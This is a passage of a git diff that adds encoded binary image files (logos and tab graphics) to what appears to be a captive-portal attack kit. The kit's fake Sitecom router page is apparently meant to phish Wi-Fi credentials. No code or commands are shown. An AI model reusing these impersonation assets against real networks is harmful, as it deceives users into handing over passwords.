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 Pivy68R+g%jG!6NGY$Hdn literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/logo.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..40257804a4d43601de2e80abb2464ff4d1df3aa9 GIT binary patch literal 8513 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 literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft_over.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft_over.png new file mode 100644 index 0000000000000000000000000000000000000000..7b81848252595038adf74ddb148ac3bb5924f05b GIT binary patch literal 342 zcmeAS@N?(olHy`uVBq!ia0vp^Y(Ol>!2~25w12z=Qk(@Ik;M!Q+`=Ht$S`Y;1W=H@ z#M9T6{RXq30GrC|!}Hz)g=9-yBTAg}b8}PkN*J7rQWHy3QxwWGOEMHfGEx=XJ$(b- zr>N!u6`t{QaSW-rHFd&nKF2@-*Xw62>)eV|xfU+C*5ReR&q>p3eV1R!za}?<^)C7! zng2N~4v;yz^SUd?ve|R@UblHtWG5K9`ttoZ->#Xz&8y#gSDw%P0Mp!i2^Lb!juUjI zcZtn78}6_<(0_Sw!^Ueq%Qh=`Tw5h78Ys9sBCoM%<%(7FvTc>7pLI!&wFnG#E#MP$ zIw`R?Uwrq0#yuYSG3O@*x*p1SVzi&_U~S>w!@r*WYWN;*-5JUEQT=Z7Gxt3|uJ5nj lBJ#;np|G^@!^V%L%-fsvPANBQt_J#x!PC{xWt~$(699YVh1>uD literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright.gif b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright.gif new file mode 100644 index 0000000000000000000000000000000000000000..34b72094ba71acae7e7233039d094c45aa8044b1 GIT binary patch literal 299 zcmV+`0o49SNk%w1Vfp|b0OJn;4-O3w4-OF!4>~zDJ32N(H#a;xH$6N!e|>a=fOv+3 zdWM60h=qKLhkp3-M)j%4XI zPx_c_>%MR-&sq=|i>mK@@BhG{a7Zi~kI1BQnKT3d38r*Pty-_x?2r){XusgFcuWQo z0*JDD&2GDO3c=w`uiNiP34YJ-*Y$pZf`eFqgolWULWYWsj);tpl9PCml$V%lmYJNL zg>#;vqEwrsrl&xqsH?21tgoZ4u(O=9w6~MCxVwtFyuX9Kz{7mP#K(W2$jgGp%+F-b x(9>Vi)Yn!L4%^(_-rwNi;^XAy=I7|?>g(+7?&{j_^7Hid_V@Vt<^=^206YGIow5J` literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright_over.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright_over.png new file mode 100644 index 0000000000000000000000000000000000000000..7bcacf5c79392de2c5fee2db39f1813288d07708 GIT binary patch literal 1164 zcmV;71atd|P)6wGua6;sk-d$ba!?2H$C;& zHA`DJH(_KnQ@XWvALrcTNB3!G`&|tb(q_>S z_W49tN@{Bq{3yey0MS_>Or-3PuqTr7Q96f`8|D*XUiaDE-Fxx!&FbpKZ(rZ%nR90K zjAl&Nu3lMRzr0u+yn6jMcZ0Y42`$YytFLRNMCFyPS;iT1MX62az8L1cnA5$xclP&x zf7$sSZg=0zN(RjZMuxoaoM4DL{rx8A0o1Y5{_;XT2xJZgaP8p`B$3P`f@Ma9tbe+J zd%`eZ7UnHcH#e@Ytz80;XD(x^1~D@cF&H2UfvmoATnq*ihyg0aV8D4(GlRe-X9mje z#n`gVmAtEuraMz9Co{+e5_uw*!W5!Jc%cm#0bF$NykK5EUQE^a+-2sw8=V!>eRme3ZIaE6Zd*w(Nrbot>y?3oCp?@^w}vb@6%^If za%ZS^UkA-FUn1u51(w^rH)IfEC1#ITtPfYNTVmkW60SENH!kSw%@U3dB%`kD=rGMN zAC0*rbEDlUS!m@V2?29r9)V&HxV}z_8wnAgA3%*rcq1VUq#-;F^C>VFw|nNCmfY75 zDx&>UqVN>6PeNc4Cb+0?prTu%2DukSR>!6&9K-w+Fb^(TsA^=Ps*%www|h}U5Dmhi zx?)NMuG{Bmn4M@^b!$9`SX~7KZ#7&d%SjVGn_!qvjk&7b(+hb{60{HHJT42sLu42o zE2V^l>F4)``E;0*`R+#MyAOK6^oMggZE`yLXedLThJ#_gM9i%K*vK+7Mn<;X|8HwK zS2E0(hFw$$|QH%ic{O zcqPablrj5N#nn{IKn(`e6KKTFq=l?%YZi2i!JFzRzkeHG_NH*vaL0|zjv_etVEZ>& zDFtYd@k-e{t2E3f!JHbwTH=}SZe+f@k2RFn 